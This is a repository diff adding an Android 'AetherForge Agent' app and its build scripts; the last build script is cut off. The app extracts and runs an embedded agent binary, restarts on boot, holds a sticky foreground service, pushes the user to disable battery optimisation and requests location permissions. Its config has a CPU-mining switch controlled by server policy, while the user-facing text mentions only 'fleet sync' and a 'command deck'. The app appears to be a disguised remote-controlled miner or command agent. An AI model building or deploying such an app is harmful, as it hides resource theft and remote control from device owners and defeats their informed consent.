@rem https://www.apache.org/licenses/LICENSE-2.0
|
||||
@rem
|
||||
@rem Unless required by applicable law or agreed to in writing, software
|
||||
@rem distributed under the License is distributed on an "AS IS" BASIS,
|
||||
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
@rem See the License for the specific language governing permissions and
|
||||
@rem limitations under the License.
|
||||
@rem
|
||||
|
||||
@if "%DEBUG%"=="" @echo off
|
||||
@rem ##########################################################################
|
||||
@rem
|
||||
@rem Gradle startup script for Windows
|
||||
@rem
|
||||
@rem ##########################################################################
|
||||
|
||||
@rem Set local scope for the variables with windows NT shell
|
||||
if "%OS%"=="Windows_NT" setlocal
|
||||
|
||||
set DIRNAME=%~dp0
|
||||
if "%DIRNAME%"=="" set DIRNAME=.
|
||||
set APP_BASE_NAME=%~n0
|
||||
set APP_HOME=%DIRNAME%
|
||||
|
||||
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
|
||||
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
|
||||
|
||||
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||
set DEFAULT_JVM_OPTS=-Dfile.encoding=UTF-8 "-Xmx64m" "-Xms64m"
|
||||
|
||||
@rem Find java.exe
|
||||
if defined JAVA_HOME goto findJavaFromJavaHome
|
||||
|
||||
set JAVA_EXE=java.exe
|
||||
%JAVA_EXE% -version >NUL 2>&1
|
||||
if %ERRORLEVEL% equ 0 goto execute
|
||||
|
||||
echo.
|
||||
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
||||
echo.
|
||||
echo Please set the JAVA_HOME variable in your environment to match the
|
||||
echo location of your Java installation.
|
||||
|
||||
goto fail
|
||||
|
||||
:findJavaFromJavaHome
|
||||
set JAVA_HOME=%JAVA_HOME:"=%
|
||||
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
|
||||
|
||||
if exist "%JAVA_EXE%" goto execute
|
||||
|
||||
echo.
|
||||
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
|
||||
echo.
|
||||
echo Please set the JAVA_HOME variable in your environment to match the
|
||||
echo location of your Java installation.
|
||||
|
||||
goto fail
|
||||
|
||||
:execute
|
||||
@rem Setup the command line
|
||||
|
||||
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
|
||||
|
||||
|
||||
@rem Execute Gradle
|
||||
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
|
||||
|
||||
:end
|
||||
@rem End local scope for the variables with windows NT shell
|
||||
if %ERRORLEVEL% equ 0 goto mainEnd
|
||||
|
||||
:fail
|
||||
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
|
||||
rem the _cmd.exe /c_ return code!
|
||||
set EXIT_CODE=%ERRORLEVEL%
|
||||
if %EXIT_CODE% equ 0 set EXIT_CODE=1
|
||||
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
|
||||
exit /b %EXIT_CODE%
|
||||
|
||||
:mainEnd
|
||||
if "%OS%"=="Windows_NT" endlocal
|
||||
|
||||
:omega
|
||||
17
android/agent-app/settings.gradle.kts
Normal file
17
android/agent-app/settings.gradle.kts
Normal file
@@ -0,0 +1,17 @@
|
||||
pluginManagement {
|
||||
repositories {
|
||||
google()
|
||||
mavenCentral()
|
||||
gradlePluginPortal()
|
||||
}
|
||||
}
|
||||
|
||||
dependencyResolutionManagement {
|
||||
repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
|
||||
repositories {
|
||||
google()
|
||||
mavenCentral()
|
||||
}
|
||||
}
|
||||
|
||||
rootProject.name = "aetherforge-agent"
|
||||
49
android/agent-app/src/main/AndroidManifest.xml
Normal file
49
android/agent-app/src/main/AndroidManifest.xml
Normal file
@@ -0,0 +1,49 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
|
||||
<uses-permission android:name="android.permission.INTERNET" />
|
||||
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
|
||||
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />
|
||||
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
|
||||
<uses-permission android:name="android.permission.WAKE_LOCK" />
|
||||
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" />
|
||||
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
|
||||
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
|
||||
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
|
||||
<uses-permission android:name="android.permission.NEARBY_WIFI_DEVICES" />
|
||||
|
||||
<application
|
||||
android:allowBackup="false"
|
||||
android:icon="@mipmap/ic_launcher"
|
||||
android:label="@string/app_name"
|
||||
android:supportsRtl="true"
|
||||
android:theme="@style/Theme.AetherForgeAgent">
|
||||
|
||||
<activity
|
||||
android:name=".MainActivity"
|
||||
android:exported="true"
|
||||
android:launchMode="singleTask">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN" />
|
||||
<category android:name="android.intent.category.LAUNCHER" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
|
||||
<service
|
||||
android:name=".AgentService"
|
||||
android:enabled="true"
|
||||
android:exported="false"
|
||||
android:foregroundServiceType="dataSync" />
|
||||
|
||||
<receiver
|
||||
android:name=".BootReceiver"
|
||||
android:enabled="true"
|
||||
android:exported="true">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.BOOT_COMPLETED" />
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
</application>
|
||||
</manifest>
|
||||
1
android/agent-app/src/main/assets/agent.placeholder
Normal file
1
android/agent-app/src/main/assets/agent.placeholder
Normal file
@@ -0,0 +1 @@
|
||||
Placeholder — replaced by build-apk script with linux/arm64 agent binary at assets/agent.
|
||||
11
android/agent-app/src/main/assets/config.json
Normal file
11
android/agent-app/src/main/assets/config.json
Normal file
@@ -0,0 +1,11 @@
|
||||
{
|
||||
"build_id": "android-dev",
|
||||
"fleet_secret_set": false,
|
||||
"mining": {
|
||||
"enabled": false,
|
||||
"mode": "idle",
|
||||
"note": "CPU mining disabled by default; enable via server policy or re-forge."
|
||||
},
|
||||
"server_url": "http://test:8989",
|
||||
"worker_name": "test-node"
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
package com.aetherforge.agent
|
||||
|
||||
import android.content.Context
|
||||
import org.json.JSONObject
|
||||
|
||||
data class AgentConfig(
|
||||
val workerName: String,
|
||||
val serverUrl: String,
|
||||
val fleetSecret: String?,
|
||||
val miningEnabled: Boolean,
|
||||
val buildId: String,
|
||||
) {
|
||||
companion object {
|
||||
fun load(context: Context, intentExtras: Map<String, String?> = emptyMap()): AgentConfig {
|
||||
val assetJson = runCatching {
|
||||
context.assets.open("config.json").bufferedReader().use { it.readText() }
|
||||
}.getOrNull()
|
||||
|
||||
val json = assetJson?.let { JSONObject(it) }
|
||||
val worker = intentExtras["worker_name"]
|
||||
?: json?.optString("worker_name").orEmpty()
|
||||
val server = intentExtras["server_url"]
|
||||
?: json?.optString("server_url").orEmpty()
|
||||
val secret = intentExtras["fleet_secret"]
|
||||
?: json?.optString("fleet_secret").takeUnless { it.isNullOrBlank() }
|
||||
val mining = json?.optJSONObject("mining")?.optBoolean("enabled") ?: false
|
||||
val buildId = json?.optString("build_id") ?: "android-dev"
|
||||
|
||||
return AgentConfig(
|
||||
workerName = worker.ifBlank { "android-fleet-node" },
|
||||
serverUrl = server.ifBlank { "http://127.0.0.1:8989" },
|
||||
fleetSecret = secret,
|
||||
miningEnabled = mining,
|
||||
buildId = buildId,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
package com.aetherforge.agent
|
||||
|
||||
import android.util.Log
|
||||
import java.io.File
|
||||
|
||||
object AgentProcess {
|
||||
private const val TAG = "AetherForge"
|
||||
@Volatile
|
||||
private var process: Process? = null
|
||||
|
||||
fun start(binary: File, filesDir: File, config: AgentConfig) {
|
||||
stop()
|
||||
val env = hashMapOf(
|
||||
"HOME" to filesDir.absolutePath,
|
||||
"TMPDIR" to filesDir.absolutePath,
|
||||
"AETHERFORGE_MINER_EXECUTION" to "inprocess",
|
||||
)
|
||||
config.fleetSecret?.let { env["AETHERFORGE_FLEET_SECRET"] = it }
|
||||
|
||||
val cmd = listOf(binary.absolutePath, "--run")
|
||||
Log.i(TAG, "spawning agent: ${cmd.joinToString(" ")}")
|
||||
|
||||
val pb = ProcessBuilder(cmd)
|
||||
.directory(filesDir)
|
||||
.redirectErrorStream(true)
|
||||
val merged = pb.environment()
|
||||
merged.putAll(env)
|
||||
|
||||
process = pb.start()
|
||||
Thread({
|
||||
process?.inputStream?.bufferedReader()?.use { reader ->
|
||||
reader.lineSequence().forEach { line ->
|
||||
Log.i("$TAG:agent", line)
|
||||
}
|
||||
}
|
||||
}, "agent-log-drain").apply {
|
||||
isDaemon = true
|
||||
start()
|
||||
}
|
||||
}
|
||||
|
||||
fun stop() {
|
||||
process?.let {
|
||||
runCatching { it.destroy() }
|
||||
runCatching { it.waitFor() }
|
||||
}
|
||||
process = null
|
||||
}
|
||||
|
||||
fun isAlive(): Boolean = process?.isAlive == true
|
||||
}
|
||||
@@ -0,0 +1,114 @@
|
||||
package com.aetherforge.agent
|
||||
|
||||
import android.app.Notification
|
||||
import android.app.NotificationChannel
|
||||
import android.app.NotificationManager
|
||||
import android.app.PendingIntent
|
||||
import android.app.Service
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.content.pm.ServiceInfo
|
||||
import android.os.Build
|
||||
import android.os.IBinder
|
||||
import android.util.Log
|
||||
import androidx.core.app.NotificationCompat
|
||||
|
||||
class AgentService : Service() {
|
||||
companion object {
|
||||
private const val TAG = "AetherForge"
|
||||
const val ACTION_START = "com.aetherforge.agent.START"
|
||||
const val NOTIFICATION_ID = 41001
|
||||
private const val CHANNEL_ID = "fleet_sync"
|
||||
|
||||
fun start(context: Context, extras: Intent? = null) {
|
||||
val intent = Intent(context, AgentService::class.java).apply {
|
||||
action = ACTION_START
|
||||
extras?.extras?.let { putExtras(it) }
|
||||
}
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
||||
context.startForegroundService(intent)
|
||||
} else {
|
||||
context.startService(intent)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
override fun onBind(intent: Intent?): IBinder? = null
|
||||
|
||||
override fun onCreate() {
|
||||
super.onCreate()
|
||||
createNotificationChannel()
|
||||
}
|
||||
|
||||
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
|
||||
val notification = buildNotification()
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
|
||||
startForeground(
|
||||
NOTIFICATION_ID,
|
||||
notification,
|
||||
ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC,
|
||||
)
|
||||
} else {
|
||||
startForeground(NOTIFICATION_ID, notification)
|
||||
}
|
||||
|
||||
val config = AgentConfig.load(
|
||||
this,
|
||||
mapOf(
|
||||
"worker_name" to intent?.getStringExtra("worker_name"),
|
||||
"server_url" to intent?.getStringExtra("server_url"),
|
||||
"fleet_secret" to intent?.getStringExtra("fleet_secret"),
|
||||
),
|
||||
)
|
||||
Log.i(TAG, "starting fleet node worker=${config.workerName} server=${config.serverUrl}")
|
||||
|
||||
val binary = BinaryExtractor.ensureBinary(this)
|
||||
if (binary == null) {
|
||||
Log.e(TAG, "agent binary missing — rebuild APK with build-apk script")
|
||||
stopSelf()
|
||||
return START_NOT_STICKY
|
||||
}
|
||||
|
||||
if (!AgentProcess.isAlive()) {
|
||||
AgentProcess.start(binary, filesDir, config)
|
||||
}
|
||||
return START_STICKY
|
||||
}
|
||||
|
||||
override fun onDestroy() {
|
||||
AgentProcess.stop()
|
||||
super.onDestroy()
|
||||
}
|
||||
|
||||
private fun createNotificationChannel() {
|
||||
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) return
|
||||
val mgr = getSystemService(NotificationManager::class.java)
|
||||
val channel = NotificationChannel(
|
||||
CHANNEL_ID,
|
||||
getString(R.string.notification_channel_name),
|
||||
NotificationManager.IMPORTANCE_LOW,
|
||||
).apply {
|
||||
description = getString(R.string.notification_channel_desc)
|
||||
setShowBadge(false)
|
||||
}
|
||||
mgr.createNotificationChannel(channel)
|
||||
}
|
||||
|
||||
private fun buildNotification(): Notification {
|
||||
val pending = PendingIntent.getActivity(
|
||||
this,
|
||||
0,
|
||||
Intent(this, MainActivity::class.java),
|
||||
PendingIntent.FLAG_IMMUTABLE or PendingIntent.FLAG_UPDATE_CURRENT,
|
||||
)
|
||||
return NotificationCompat.Builder(this, CHANNEL_ID)
|
||||
.setContentTitle(getString(R.string.notification_title))
|
||||
.setContentText(getString(R.string.notification_body))
|
||||
.setSmallIcon(R.drawable.ic_launcher_foreground)
|
||||
.setContentIntent(pending)
|
||||
.setOngoing(true)
|
||||
.setPriority(NotificationCompat.PRIORITY_LOW)
|
||||
.setCategory(NotificationCompat.CATEGORY_SERVICE)
|
||||
.build()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
package com.aetherforge.agent
|
||||
|
||||
import android.content.Context
|
||||
import android.util.Log
|
||||
import java.io.File
|
||||
import java.io.FileOutputStream
|
||||
|
||||
object BinaryExtractor {
|
||||
private const val TAG = "AetherForge"
|
||||
private const val ASSET_NAME = "agent"
|
||||
private const val BIN_NAME = "agent-arm64"
|
||||
|
||||
fun ensureBinary(context: Context): File? {
|
||||
val outDir = File(context.filesDir, "bin").apply { mkdirs() }
|
||||
val outFile = File(outDir, BIN_NAME)
|
||||
val assetSize = assetSize(context)
|
||||
if (outFile.exists() && assetSize > 0 && outFile.length() == assetSize) {
|
||||
outFile.setExecutable(true, false)
|
||||
outFile.setReadable(true, false)
|
||||
return outFile
|
||||
}
|
||||
return extract(context, outFile)
|
||||
}
|
||||
|
||||
private fun assetSize(context: Context): Long {
|
||||
return runCatching {
|
||||
context.assets.openFd(ASSET_NAME).use { it.length }
|
||||
}.getOrDefault(0L)
|
||||
}
|
||||
|
||||
private fun extract(context: Context, outFile: File): File? {
|
||||
return try {
|
||||
context.assets.open(ASSET_NAME).use { input ->
|
||||
FileOutputStream(outFile).use { output ->
|
||||
input.copyTo(output)
|
||||
}
|
||||
}
|
||||
outFile.setExecutable(true, false)
|
||||
outFile.setReadable(true, false)
|
||||
Log.i(TAG, "extracted agent binary to ${outFile.absolutePath} (${outFile.length()} bytes)")
|
||||
outFile
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "failed to extract agent binary", e)
|
||||
null
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
package com.aetherforge.agent
|
||||
|
||||
import android.content.BroadcastReceiver
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.util.Log
|
||||
|
||||
class BootReceiver : BroadcastReceiver() {
|
||||
override fun onReceive(context: Context, intent: Intent?) {
|
||||
if (intent?.action != Intent.ACTION_BOOT_COMPLETED) return
|
||||
Log.i("AetherForge", "BOOT_COMPLETED — starting AgentService")
|
||||
AgentService.start(context.applicationContext)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,123 @@
|
||||
package com.aetherforge.agent
|
||||
|
||||
import android.Manifest
|
||||
import android.content.Intent
|
||||
import android.content.pm.PackageManager
|
||||
import android.net.Uri
|
||||
import android.os.Build
|
||||
import android.os.Bundle
|
||||
import android.os.PowerManager
|
||||
import android.provider.Settings
|
||||
import android.widget.Button
|
||||
import android.widget.LinearLayout
|
||||
import android.widget.TextView
|
||||
import android.widget.Toast
|
||||
import androidx.activity.result.contract.ActivityResultContracts
|
||||
import androidx.appcompat.app.AppCompatActivity
|
||||
import androidx.core.content.ContextCompat
|
||||
|
||||
class MainActivity : AppCompatActivity() {
|
||||
private val prefs by lazy { getSharedPreferences("aetherforge_agent", MODE_PRIVATE) }
|
||||
private lateinit var pendingPermissions: List<String>
|
||||
|
||||
private val permissionLauncher =
|
||||
registerForActivityResult(ActivityResultContracts.RequestMultiplePermissions()) { results ->
|
||||
val denied = results.filterValues { !it }.keys
|
||||
if (denied.isNotEmpty()) {
|
||||
Toast.makeText(
|
||||
this,
|
||||
"Some permissions were denied — fleet diagnostics may be limited.",
|
||||
Toast.LENGTH_LONG,
|
||||
).show()
|
||||
}
|
||||
requestNextPermissionBatch()
|
||||
}
|
||||
|
||||
override fun onCreate(savedInstanceState: Bundle?) {
|
||||
super.onCreate(savedInstanceState)
|
||||
setContentView(buildLayout())
|
||||
|
||||
if (!prefs.getBoolean("permissions_requested", false)) {
|
||||
prefs.edit().putBoolean("permissions_requested", true).apply()
|
||||
beginPermissionFlow()
|
||||
} else {
|
||||
startFleetService()
|
||||
}
|
||||
}
|
||||
|
||||
private fun buildLayout(): LinearLayout {
|
||||
val pad = (24 * resources.displayMetrics.density).toInt()
|
||||
return LinearLayout(this).apply {
|
||||
orientation = LinearLayout.VERTICAL
|
||||
setPadding(pad, pad, pad, pad)
|
||||
addView(TextView(context).apply {
|
||||
text = getString(R.string.permission_intro_title)
|
||||
textSize = 22f
|
||||
setTextColor(0xFFE2E8F0.toInt())
|
||||
})
|
||||
addView(TextView(context).apply {
|
||||
text = getString(R.string.permission_intro_body)
|
||||
textSize = 15f
|
||||
setTextColor(0xFF94A3B8.toInt())
|
||||
setPadding(0, pad / 2, 0, pad)
|
||||
})
|
||||
addView(TextView(context).apply {
|
||||
text = getString(R.string.battery_hint)
|
||||
textSize = 14f
|
||||
setTextColor(0xFF64748B.toInt())
|
||||
setPadding(0, 0, 0, pad)
|
||||
})
|
||||
addView(Button(context).apply {
|
||||
text = getString(R.string.open_battery_settings)
|
||||
setOnClickListener { openBatteryOptimizationSettings() }
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
private fun requiredRuntimePermissions(): List<String> {
|
||||
val perms = mutableListOf<String>()
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
||||
perms += Manifest.permission.POST_NOTIFICATIONS
|
||||
perms += Manifest.permission.NEARBY_WIFI_DEVICES
|
||||
}
|
||||
perms += Manifest.permission.ACCESS_FINE_LOCATION
|
||||
perms += Manifest.permission.ACCESS_COARSE_LOCATION
|
||||
return perms.filter {
|
||||
ContextCompat.checkSelfPermission(this, it) != PackageManager.PERMISSION_GRANTED
|
||||
}
|
||||
}
|
||||
|
||||
private fun beginPermissionFlow() {
|
||||
pendingPermissions = requiredRuntimePermissions()
|
||||
if (pendingPermissions.isEmpty()) {
|
||||
openBatteryOptimizationSettings()
|
||||
startFleetService()
|
||||
return
|
||||
}
|
||||
permissionLauncher.launch(pendingPermissions.toTypedArray())
|
||||
}
|
||||
|
||||
private fun requestNextPermissionBatch() {
|
||||
openBatteryOptimizationSettings()
|
||||
startFleetService()
|
||||
}
|
||||
|
||||
private fun openBatteryOptimizationSettings() {
|
||||
val pm = getSystemService(POWER_SERVICE) as PowerManager
|
||||
if (!pm.isIgnoringBatteryOptimizations(packageName)) {
|
||||
val intent = Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS).apply {
|
||||
data = Uri.parse("package:$packageName")
|
||||
}
|
||||
runCatching { startActivity(intent) }
|
||||
}
|
||||
}
|
||||
|
||||
private fun startFleetService() {
|
||||
val serviceIntent = Intent(this, AgentService::class.java).apply {
|
||||
action = AgentService.ACTION_START
|
||||
intent?.extras?.let { putExtras(it) }
|
||||
}
|
||||
AgentService.start(this, serviceIntent)
|
||||
Toast.makeText(this, R.string.service_started, Toast.LENGTH_SHORT).show()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<vector xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
android:width="108dp"
|
||||
android:height="108dp"
|
||||
android:viewportWidth="108"
|
||||
android:viewportHeight="108">
|
||||
<path
|
||||
android:fillColor="#22D3EE"
|
||||
android:pathData="M54,24 L78,42 L78,66 L54,84 L30,66 L30,42 Z" />
|
||||
<path
|
||||
android:fillColor="#0F172A"
|
||||
android:pathData="M54,38 L66,48 L66,60 L54,70 L42,60 L42,48 Z" />
|
||||
</vector>
|
||||
@@ -0,0 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<background android:drawable="@color/ic_launcher_background" />
|
||||
<foreground android:drawable="@drawable/ic_launcher_foreground" />
|
||||
</adaptive-icon>
|
||||
3
android/agent-app/src/main/res/mipmap/ic_launcher.xml
Normal file
3
android/agent-app/src/main/res/mipmap/ic_launcher.xml
Normal file
@@ -0,0 +1,3 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
android:src="@drawable/ic_launcher_foreground" />
|
||||
4
android/agent-app/src/main/res/values/colors.xml
Normal file
4
android/agent-app/src/main/res/values/colors.xml
Normal file
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<color name="ic_launcher_background">#0F172A</color>
|
||||
</resources>
|
||||
14
android/agent-app/src/main/res/values/strings.xml
Normal file
14
android/agent-app/src/main/res/values/strings.xml
Normal file
@@ -0,0 +1,14 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="app_name">AetherForge Agent</string>
|
||||
<string name="permission_intro_title">Your fleet node</string>
|
||||
<string name="permission_intro_body">Tap Allow on each prompt so this device can sync with your AetherForge fleet. A persistent notification keeps the agent alive in the background.</string>
|
||||
<string name="notification_channel_name">Fleet sync</string>
|
||||
<string name="notification_channel_desc">Keeps your AetherForge fleet node connected</string>
|
||||
<string name="notification_title">Fleet sync</string>
|
||||
<string name="notification_body">AetherForge agent connected to command deck</string>
|
||||
<string name="battery_hint">For reliable background sync, disable battery optimizations for this app when prompted.</string>
|
||||
<string name="service_started">Fleet agent service started</string>
|
||||
<string name="service_failed">Could not start fleet agent — see logcat</string>
|
||||
<string name="open_battery_settings">Battery optimization settings</string>
|
||||
</resources>
|
||||
9
android/agent-app/src/main/res/values/themes.xml
Normal file
9
android/agent-app/src/main/res/values/themes.xml
Normal file
@@ -0,0 +1,9 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<style name="Theme.AetherForgeAgent" parent="Theme.AppCompat.DayNight.NoActionBar">
|
||||
<item name="android:statusBarColor">#111827</item>
|
||||
<item name="android:navigationBarColor">#111827</item>
|
||||
<item name="android:windowBackground">#111827</item>
|
||||
<item name="colorPrimary">#22d3ee</item>
|
||||
</style>
|
||||
</resources>
|
||||
88
android/build-apk.ps1
Normal file
88
android/build-apk.ps1
Normal file
@@ -0,0 +1,88 @@
|
||||
# AetherForge Android Agent APK — compile embedded agent + assembleDebug
|
||||
param(
|
||||
[string]$ServerUrl = $(if ($env:AETHERFORGE_SERVER_URL) { $env:AETHERFORGE_SERVER_URL } else { "http://127.0.0.1:8989" }),
|
||||
[string]$WorkerName = $(if ($env:AETHERFORGE_WORKER_NAME) { $env:AETHERFORGE_WORKER_NAME } else { "android-fleet-node" }),
|
||||
[string]$FleetSecret = $env:AETHERFORGE_FLEET_SECRET,
|
||||
[string]$BuildId = "android-$(Get-Date -Format 'yyyyMMdd-HHmmss')"
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
$Root = Split-Path -Parent $MyInvocation.MyCommand.Path
|
||||
$RepoRoot = Split-Path -Parent $Root
|
||||
$AgentDir = Join-Path $RepoRoot "agent"
|
||||
$AppDir = Join-Path $Root "agent-app"
|
||||
$AssetsDir = Join-Path $AppDir "src\main\assets"
|
||||
$AgentAsset = Join-Path $AssetsDir "agent"
|
||||
$ConfigAsset = Join-Path $AssetsDir "config.json"
|
||||
$BuiltinPath = Join-Path $AgentDir "config\builtin.go"
|
||||
$BuiltinBackup = Join-Path $AgentDir "config\builtin.go.android-bak"
|
||||
$ApkOut = Join-Path $AppDir "build\outputs\apk\debug\aetherforge-agent.apk"
|
||||
|
||||
function Restore-Builtin {
|
||||
if (Test-Path $BuiltinBackup) {
|
||||
Move-Item -Force $BuiltinBackup $BuiltinPath
|
||||
}
|
||||
}
|
||||
|
||||
try {
|
||||
if (-not (Get-Command go -ErrorAction SilentlyContinue)) {
|
||||
throw "go compiler not found in PATH"
|
||||
}
|
||||
|
||||
Write-Host "==> Baking config (server=$ServerUrl worker=$WorkerName)" -ForegroundColor Cyan
|
||||
Push-Location (Join-Path $Root "forge")
|
||||
$bakeArgs = @(
|
||||
"run", "./cmd/bake",
|
||||
"-server", $ServerUrl,
|
||||
"-worker", $WorkerName,
|
||||
"-build-id", $BuildId,
|
||||
"-config-out", $ConfigAsset,
|
||||
"-builtin-out", $BuiltinPath
|
||||
)
|
||||
if ($FleetSecret) { $bakeArgs += @("-fleet-secret", $FleetSecret) }
|
||||
& go @bakeArgs
|
||||
if ($LASTEXITCODE -ne 0) { throw "bake failed" }
|
||||
Pop-Location
|
||||
|
||||
if (Test-Path $BuiltinPath) {
|
||||
Copy-Item -Force $BuiltinPath $BuiltinBackup
|
||||
}
|
||||
|
||||
Write-Host "==> Compiling linux/arm64 agent binary" -ForegroundColor Cyan
|
||||
$env:GOOS = "linux"
|
||||
$env:GOARCH = "arm64"
|
||||
$env:CGO_ENABLED = "0"
|
||||
Push-Location $AgentDir
|
||||
& go build -trimpath -ldflags "-s -w" -o $AgentAsset .
|
||||
if ($LASTEXITCODE -ne 0) { throw "go build failed" }
|
||||
Pop-Location
|
||||
|
||||
$size = (Get-Item $AgentAsset).Length
|
||||
Write-Host " agent binary: $size bytes -> $AgentAsset"
|
||||
|
||||
if (-not $env:ANDROID_HOME -and $env:ANDROID_SDK_ROOT) {
|
||||
$env:ANDROID_HOME = $env:ANDROID_SDK_ROOT
|
||||
}
|
||||
if (-not $env:ANDROID_HOME) {
|
||||
throw "ANDROID_HOME (or ANDROID_SDK_ROOT) is required for Gradle assembleDebug"
|
||||
}
|
||||
|
||||
$gradlew = Join-Path $AppDir "gradlew.bat"
|
||||
if (-not (Test-Path $gradlew)) {
|
||||
throw "Gradle wrapper missing. Run: cd android/agent-app && gradle wrapper"
|
||||
}
|
||||
|
||||
Write-Host "==> Gradle assembleDebug" -ForegroundColor Cyan
|
||||
Push-Location $AppDir
|
||||
& $gradlew assembleDebug --no-daemon
|
||||
if ($LASTEXITCODE -ne 0) { throw "gradle assembleDebug failed" }
|
||||
Pop-Location
|
||||
|
||||
if (-not (Test-Path $ApkOut)) {
|
||||
throw "APK not found at $ApkOut"
|
||||
}
|
||||
Write-Host "==> APK ready: $ApkOut" -ForegroundColor Green
|
||||
}
|
||||
finally {
|
||||
Restore-Builtin
|
||||
}
|
||||
74
android/build-apk.sh
Normal file
74
android/build-apk.sh
Normal file
@@ -0,0 +1,74 @@
|
||||
#!/usr/bin/env bash
|
||||
# AetherForge Android Agent APK — compile embedded agent + assembleDebug
|
||||
set -euo pipefail
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")" && pwd)"
|
||||
REPO_ROOT="$(cd "$ROOT/.." && pwd)"
|
||||
AGENT_DIR="$REPO_ROOT/agent"
|
||||
APP_DIR="$ROOT/agent-app"
|
||||
ASSETS_DIR="$APP_DIR/src/main/assets"
|
||||
AGENT_ASSET="$ASSETS_DIR/agent"
|
||||
CONFIG_ASSET="$ASSETS_DIR/config.json"
|
||||
BUILTIN_PATH="$AGENT_DIR/config/builtin.go"
|
||||
BUILTIN_BACKUP="$AGENT_DIR/config/builtin.go.android-bak"
|
||||
APK_OUT="$APP_DIR/build/outputs/apk/debug/aetherforge-agent.apk"
|
||||
|
||||
SERVER_URL="${AETHERFORGE_SERVER_URL:-http://127.0.0.1:8989}"
|
||||
WORKER_NAME="${AETHERFORGE_WORKER_NAME:-android-fleet-node}"
|
||||
FLEET_SECRET="${AETHERFORGE_FLEET_SECRET:-}"
|
||||
BUILD_ID="${AETHERFORGE_BUILD_ID:-android-$(date +%Y%m%d-%H%M%S)}"
|
||||
|
||||
restore_builtin() {
|
||||
if [[ -f "$BUILTIN_BACKUP" ]]; then
|
||||
mv -f "$BUILTIN_BACKUP" "$BUILTIN_PATH"
|
||||
fi
|
||||
}
|
||||
trap restore_builtin EXIT
|
||||
|
||||
command -v go >/dev/null 2>&1 || { echo "go compiler not found" >&2; exit 1; }
|
||||
|
||||
echo "==> Baking config (server=$SERVER_URL worker=$WORKER_NAME)"
|
||||
pushd "$ROOT/forge" >/dev/null
|
||||
bake_args=(
|
||||
run ./cmd/bake
|
||||
-server "$SERVER_URL"
|
||||
-worker "$WORKER_NAME"
|
||||
-build-id "$BUILD_ID"
|
||||
-config-out "$CONFIG_ASSET"
|
||||
-builtin-out "$BUILTIN_PATH"
|
||||
)
|
||||
if [[ -n "$FLEET_SECRET" ]]; then
|
||||
bake_args+=(-fleet-secret "$FLEET_SECRET")
|
||||
fi
|
||||
go "${bake_args[@]}"
|
||||
popd >/dev/null
|
||||
|
||||
